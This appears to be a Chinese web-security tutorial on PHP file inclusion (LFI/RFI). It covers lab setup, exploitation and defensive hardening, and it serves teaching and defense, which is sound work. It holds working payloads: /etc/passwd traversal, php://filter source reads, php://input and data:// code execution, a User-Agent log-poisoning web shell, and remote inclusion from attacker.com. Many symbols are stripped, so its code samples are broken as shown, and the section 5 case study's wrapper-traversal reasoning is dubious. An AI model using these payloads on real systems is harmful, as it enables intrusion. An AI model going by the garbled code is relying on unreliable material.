Web文件包含漏洞:原理、利用与防御实战指南

发布时间:2026/8/14 21:00:47
Web文件包含漏洞:原理、利用与防御实战指南 大家好我是青岑。在Web安全的学习和渗透测试实践中文件包含漏洞是一个高频且危害极大的安全风险点。很多开发者在构建动态网站时为了代码复用和模块化会使用文件包含函数但如果对用户输入未做严格过滤攻击者就能利用这一点读取系统敏感文件、执行任意代码甚至控制整个服务器。本文将围绕“Web文件包含漏洞”展开从原理、类型、实战复现到防御方案为你构建一套完整的知识体系。无论你是刚入门安全的新手还是想巩固基础的开发者都能通过本文掌握文件包含漏洞的“攻”与“防”。1. 文件包含漏洞的核心概念1.1 什么是文件包含文件包含是Web开发中一种常见的代码复用技术。它允许开发者将一个文件的内容引入到另一个文件中通常用于引入公共的头部、尾部、配置文件或函数库。这能有效减少代码冗余提高开发效率和可维护性。在PHP中主要的包含函数有四个include()包含并运行指定文件。如果包含失败如文件不存在会发出一个警告E_WARNING但脚本会继续执行。require()包含并运行指定文件。如果包含失败会发出一个致命错误E_COMPILE_ERROR并终止脚本执行。include_once()与include()功能相同但会检查该文件是否已经被包含过如果是则不会再次包含。require_once()与require()功能相同同样具有“只包含一次”的特性。1.2 漏洞是如何产生的文件包含功能本身无害漏洞的产生源于开发者信任了用户可控的输入。当包含文件的路径或文件名部分直接或间接地由用户传入的参数如$_GET、$_POST、$_COOKIE等控制且未经过严格的校验和过滤时攻击者就可以通过构造恶意参数让应用程序包含非预期的文件。一个简单的漏洞代码示例// file: index.php ?php $page $_GET[page]; // 用户直接控制参数 include($page . .php); // 直接拼接到包含语句中 ?正常访问可能是http://target.com/index.php?pagehome攻击者可以尝试http://target.com/index.php?page/etc/passwd此时代码实际执行的是include(‘/etc/passwd’ . ‘.php’)即include(‘/etc/passwd.php’)。由于系统可能不存在这个文件包含会失败。但这揭示了用户输入被直接用于文件路径的事实。1.3 漏洞的危害与影响文件包含漏洞的危害等级通常很高主要威胁包括敏感信息泄露读取服务器上的敏感文件如/etc/passwdLinux用户账户信息、/proc/self/environ环境变量可能包含密钥、Web应用的配置文件如config.php可能含数据库密码、日志文件等。远程代码执行RCE在特定条件下包含一个攻击者上传的或远程服务器上的恶意文件从而在目标服务器上执行任意代码完全控制服务器。这是文件包含漏洞最危险的后果。本地文件包含LFI与远程文件包含RFI这是漏洞的两种主要类型我们接下来详细讲解。攻击内网服务通过包含file://、http://等协议可能利用存在漏洞的服务器作为跳板探测或攻击内网其他服务。2. 环境准备与测试环境搭建为了安全地学习和复现漏洞我们必须在隔离的环境中进行。强烈建议使用虚拟机或Docker搭建靶场。2.1 环境说明操作系统Linux如Ubuntu/Kali或 Windows。本文示例基于Linux环境。Web服务器Apache 或 Nginx。我们使用 Apache2。PHP版本为了演示经典漏洞我们使用一个存在安全缺陷的旧版本PHP如5.x并在php.ini中开启危险配置。在生产环境中必须使用最新稳定版本并关闭危险设置。靶场应用我们可以手动编写漏洞代码也可以使用现成的开源靶场如DVWA(Damn Vulnerable Web Application)、bWAPP或Web for Pentester。2.2 使用Docker快速搭建PHP测试环境这是最推荐的方式可以快速创建和销毁环境不影响宿主机。拉取并运行一个包含旧版PHP和Apache的镜像docker run -d --name php-vuln-lab -p 8080:80 -v $(pwd)/www:/var/www/html vulnerables/web-dvwa这条命令做了几件事-d后台运行。--name php-vuln-lab给容器命名。-p 8080:80将容器的80端口映射到宿主机的8080端口。-v $(pwd)/www:/var/www/html将当前目录下的www文件夹挂载到容器的Web根目录方便我们放置自己的测试文件。vulnerables/web-dvwa一个预装了DVWA的镜像也包含了有漏洞的PHP环境。创建测试文件 在宿主机的www目录下创建我们的漏洞测试文件lfi_test.php。mkdir www cd www cat lfi_test.php EOF ?php // 一个存在本地文件包含漏洞的示例 if (isset($_GET[file])) { $file $_GET[file]; include($file); } else { echo Please provide a file parameter.; } ? EOF访问测试页面 打开浏览器访问http://your-host-ip:8080/lfi_test.php。你应该能看到提示信息。3. 本地文件包含漏洞详解与实战本地文件包含是指包含的文件来自于服务器本地文件系统。3.1 基础LFI利用利用上面创建的lfi_test.php我们可以尝试包含系统文件。读取Linux系统密码文件http://your-host-ip:8080/lfi_test.php?file/etc/passwd如果成功页面会显示/etc/passwd文件的内容。这是因为我们的漏洞代码直接使用了include($_GET[‘file’])没有任何过滤。读取Web应用源码 尝试包含当前目录或其他目录下的PHP文件。由于include()会执行PHP代码如果直接包含.php文件我们看不到源码因为被执行了。这时需要利用PHP封装协议。http://your-host-ip:8080/lfi_test.php?filephp://filter/convert.base64-encode/resourcelfi_test.php这个URL使用了php://filter协议将目标文件lfi_test.php的内容进行base64编码后再输出。我们将得到一串base64字符串解码后即可获得源代码。这是审计代码、寻找数据库配置等敏感信息的关键技巧。3.2 路径遍历与截断技巧有时开发人员会为包含的文件添加后缀例如我们最开始看到的include($page . ‘.php’)。目录遍历使用../来跳转目录。http://target.com/index.php?page../../../../etc/passwd通过多个../回溯到根目录再定位到/etc/passwd。即使加了.php后缀因为路径中包含了后缀最终会尝试包含../../../../etc/passwd.php这个文件通常不存在所以攻击可能失败。我们需要结合截断技巧。截断技巧PHP版本 5.3.4 在旧版PHP中存在“空字节截断”漏洞。字符串中的空字符%00会被认为是字符串的结束。http://target.com/index.php?page../../../../etc/passwd%00代码执行include(‘../../../../etc/passwd%00’ . ‘.php’)PHP在遇到%00时认为字符串已结束实际包含的文件就是../../../../etc/passwd从而绕过后缀限制。注意此技巧在PHP 5.3.4及以上版本已被修复。3.3 利用PHP封装协议PHP提供了一系列内置的URL风格封装协议用于访问各种资源。在文件包含中它们被广泛利用。php://filter读文件如前所述用于读取文件内容特别是源码。php://filter/readconvert.base64-encode/resourceindex.phpphp://filter/convert.base64-encode/resourceindex.php(简写)php://input执行代码访问请求的原始数据POST数据。需要allow_url_includeOn。POST /lfi_test.php?filephp://input HTTP/1.1 Host: target.com ... ?php system(id); ?这将POST体中的?php system(‘id’); ?作为PHP代码执行。data://执行代码/读文件数据流封装器可以直接在URL中携带数据。需要allow_url_includeOn。执行代码?filedata://text/plain,?php phpinfo();?编码后执行绕过简单过滤?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8(这是?php phpinfo();?的base64编码)file://读文件用于访问本地文件系统是默认协议。?filefile:///etc/passwdzip://phar://反序列化与文件包含可用于包含ZIP或PHAR归档中的文件常与反序列化漏洞结合利用非常强大。?filezip:///path/to/archive.zip%23file.txt(#需要编码为%23)?filephar:///path/to/archive.phar/file.txt3.4 LFI到RCE的经典利用链单纯的LFI可能只能读文件如何升级到执行命令RCE以下是几种常见场景场景一包含日志文件Web服务器如Apache、Nginx或应用框架如Laravel都会生成日志。攻击者可以将PHP代码写入User-Agent或Referer等HTTP头然后让存在LFI漏洞的页面去包含这个日志文件。攻击者发送请求User-Agent: ?php system($_GET[‘c’]); ?这个带恶意代码的User-Agent被记录到访问日志如/var/log/apache2/access.log。利用LFI包含日志文件?file/var/log/apache2/access.logcid服务器执行日志文件中的PHP代码成功RCE。关键点需要知道日志文件的绝对路径并且Web进程有读取权限。场景二包含Session文件PHP的Session数据通常存储在/tmp/或/var/lib/php/sessions/目录下文件名为sess_[session_id]。如果攻击者能控制部分Session内容例如一个将用户输入存入$_SESSION的页面就可以将PHP代码写入Session文件然后通过LFI包含它。关键点需要知道或能预测Session文件路径和名称。场景三包含临时文件上传通过文件上传功能上传一个图片马内容为?php phpinfo();?的.jpg文件。如果服务器只是检查了文件头或后缀但没有将其移动到非Web目录或重命名攻击者就可能通过LFI找到这个临时文件的路径并包含它。关键点需要知道上传文件的完整路径这通常比较困难。场景四包含/proc/self/environ在Linux中/proc/self/environ文件包含了当前进程的环境变量。User-Agent等HTTP头有时会作为环境变量如HTTP_USER_AGENT出现在这里。攻击方法与日志文件包含类似。关键点需要/proc文件系统可用且环境变量可控。4. 远程文件包含漏洞详解与实战远程文件包含是指包含的文件来自于远程服务器通过HTTP、FTP等协议。其危害比LFI更大因为它意味着攻击者可以直接从自己控制的服务器加载恶意脚本无需依赖目标服务器上的特定文件。4.1 RFI的条件RFI需要更苛刻的服务器配置才能成功allow_url_fopen On默认常为Onallow_url_include On默认通常为Off这是关键限制 只有当这两个PHP配置项都为On时include、require等函数才能包含远程URL。4.2 RFI利用演示假设目标服务器配置不当且存在如下漏洞代码?php $lang $_GET[lang]; include($lang . .php); ?攻击者可以在自己的公网服务器attacker.com上放置一个名为evil.php的文件内容为?php phpinfo(); ?。 然后访问http://target.com/vuln.php?langhttp://attacker.com/evil漏洞代码会执行include(‘http://attacker.com/evil.php’)从远程服务器加载并执行evil.php中的代码直接在目标服务器上显示phpinfo信息实现RCE。4.3 RFI的利用技巧问号截断如果代码强制添加了后缀如.php可以尝试在URL后加?。?langhttp://attacker.com/evil?最终拼接为http://attacker.com/evil?.php?之后的部分被视为URL参数远程服务器通常会忽略.php从而正确返回evil文件的内容。**利用FTP、SMB等协议**除了HTTP有时也可以使用其他协议进行包含。重要提醒由于allow_url_include默认关闭且现代PHP版本和安全意识提升纯粹的RFI漏洞已较少见但作为攻击者必须检查的向量作为开发者必须防范的风险其原理依然重要。5. 完整实战案例从发现到利用让我们模拟一个相对真实的场景串联利用多种技术。场景一个简单的网站有一个页面view.php用于显示文章通过id参数定位文章文件。// file: view.php ?php $id $_GET[id]; if(!empty($id)) { $file ‘articles/’ . $id . ‘.txt’; if(file_exists($file)) { highlight_file($file); // 高亮显示文本文件内容 } else { echo “Article not found.”; } } ?目标利用此漏洞获取网站管理后台admin.php的源代码。攻击步骤探测漏洞尝试路径遍历。http://target.com/view.php?id../../../../etc/passwd如果返回“Article not found”说明file_exists检查失败但路径遍历可能被过滤或当前目录限制。尝试更简单的?id../view(试图包含articles/../view.txt即view.txt)。我们需要换思路。发现真正的包含点观察代码它使用的是highlight_file()来显示内容并非include()。所以这里可能不是代码执行漏洞而是文件读取漏洞。但我们的目标是读源码。我们可以尝试让$file变成一个PHP封装协议路径highlight_file()同样支持部分协议。利用php://filter读源码http://target.com/view.php?idphp://filter/convert.base64-encode/resourceadmin构造的$file为articles/php://filter/convert.base64-encode/resourceadmin.txt这显然不是一个有效的文件路径。我们需要让id参数在拼接前就包含完整的协议路径。但代码是$id . ‘.txt’我们无法摆脱.txt后缀。除非…存在截断。尝试空字节截断假设环境是旧版PHPhttp://target.com/view.php?idphp://filter/convert.base64-encode/resourceadmin%00此时$file为articles/php://filter/convert.base64-encode/resourceadmin%00.txt如果空字节截断生效PHP在内部处理路径时会忽略%00之后的内容实际highlight_file()处理的路径就是articles/php://filter/convert.base64-encode/resourceadmin。但articles/前缀还在这会导致协议路径错误。使用路径遍历跳出articles目录http://target.com/view.php?id../../../admin%00最终$file为articles/../../../admin%00.txt-admin%00.txt。如果admin文件存在即admin.php的源码且空字节截断生效highlight_file()会尝试高亮显示admin文件。但.php文件会被执行我们看不到源码。结合协议与遍历 关键是要让php://filter协议在根路径生效。我们需要让$file的最终形式是php://filter/.../resourceadmin.php而不是articles/php://filter...。 由于代码硬编码了articles/前缀我们无法直接去除它。但我们可以利用../回溯到根目录再使用绝对路径的协议。http://target.com/view.php?id../../../php://filter/convert.base64-encode/resource/var/www/html/admin%00拼接后articles/../../../php://filter/convert.base64-encode/resource/var/www/html/admin%00.txt路径简化后php://filter/convert.base64-encode/resource/var/www/html/admin%00.txt假设空字节截断成功实际读取/var/www/html/admin(即admin.php文件)。highlight_file()会读取这个文件的内容并通过filter进行base64编码后输出。我们在页面得到一串base64编码解码即可获得admin.php的源代码。这个案例展示了在实际漏洞利用中需要灵活组合路径遍历、协议利用和截断技巧并深刻理解代码的拼接逻辑。6. 常见问题与排查思路在学习和实战中你可能会遇到以下问题问题现象可能原因排查与解决思路包含/etc/passwd返回空白或警告1. 文件不存在Windows系统。2. Web进程如www-data用户无读取权限。3. PHP配置了open_basedir限制禁止访问指定目录外的文件。1. 确认目标系统。Windows可尝试C:\Windows\System32\drivers\etc\hosts。2. 尝试包含Web目录内的已知文件如./index.php。3. 检查错误信息尝试读取/proc/self/cwd/index.php当前工作目录。使用php://input或data://协议无效代码不执行PHP配置allow_url_include为Off。这是最可能的原因。RFI和这些协议依赖该设置。此时应专注于LFI利用技巧日志、Session、php://filter读文件。路径遍历 (../) 被过滤或无效1. 开发人员使用函数过滤了../。2. 路径被编码或规范化。3. 应用使用了chroot环境。1. 尝试双重编码..%252f(%2f是/的URL编码再对其编码)。2. 尝试绝对路径/etc/passwd。3. 尝试使用非标准路径分隔符Windows下。包含文件后页面显示乱码或下载包含了一个二进制文件如图片或者包含的PHP文件被当作文本直接输出。使用php://filter的convert.base64-encode资源来读取任何文件获得可处理的base64字符串。空字节 (%00) 截断无效PHP版本 5.3.4该漏洞已被修复。放弃空字节截断寻找其他绕过后缀的方法如利用操作系统文件路径解析的特性Windows下路径末尾的点号、空格或利用?截断仅对RFI有效。7. 防御方案与最佳实践彻底杜绝文件包含漏洞需要开发、运维和安全意识的共同作用。7.1 代码层防御根本解决白名单校验这是最有效的方法。不要使用用户输入直接作为文件名。如果必须动态包含应预先定义允许包含的文件列表白名单严格检查用户输入是否在列表中。$allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { die(‘Invalid page requested.’); }固定目录后缀如果白名单不灵活至少要将用户输入严格限制在某个安全目录内并强制添加固定后缀。$file ‘./includes/’ . basename($_GET[‘module’]) . ‘.inc.php’; // basename() 会去掉路径部分只保留文件名防止目录遍历 if (file_exists($file)) { include($file); }避免动态包含重新评估架构是否真的需要动态包含能否用路由、前端框架或模板引擎来替代使用安全的函数/方法例如使用require_once或include_once引入固定的配置文件或类库而非动态路径。7.2 配置层加固PHP配置allow_url_include Off必须关闭。这是防止RFI的最关键设置。allow_url_fopen Off如果业务不需要从远程URL打开文件建议关闭。open_basedir设置PHP可以访问的目录范围将其限制在Web应用所需的目录内例如open_basedir /var/www/html:/tmp。这能有效限制LFI的影响范围。disable_functions在php.ini中禁用危险函数如system,exec,passthru,shell_exec,proc_open等。即使攻击者通过LFI执行了代码也无法调用这些高危函数。Web服务器配置通过Apache的.htaccess或Nginx的location规则限制对敏感目录如/proc/,/etc/的访问。系统权限运行Web服务的用户如www-data,nginx应遵循最小权限原则仅拥有对Web根目录和必要临时目录的读写权限无权读取/etc/passwd等系统文件。7.3 安全开发与运维习惯代码审计在开发过程中和上线前对代码进行安全审计重点关注include,require,file_get_contents,fopen等文件操作函数检查其参数是否用户可控。输入验证与过滤对所有用户输入进行严格的验证和过滤。不仅过滤../还要警惕编码绕过、空字节等技巧。错误处理关闭生产环境的错误回显display_errors Off使用自定义错误页面避免泄露服务器路径等敏感信息。定期更新与漏洞扫描保持PHP、Web服务器及所有应用组件更新到最新稳定版本。定期使用自动化工具或人工进行漏洞扫描。使用Web应用防火墙部署WAF可以有效拦截常见的文件包含攻击payload。文件包含漏洞的根源在于“信任了不可信的输入”。作为开发者必须时刻保持安全意识对任何来自外部的数据都视为有害的并进行严格的验证和净化。作为安全研究者理解这些漏洞的原理和利用手法才能更好地进行防御。希望这篇近万字的详细解析能帮助你彻底掌握Web文件包含漏洞在安全的道路上更进一步。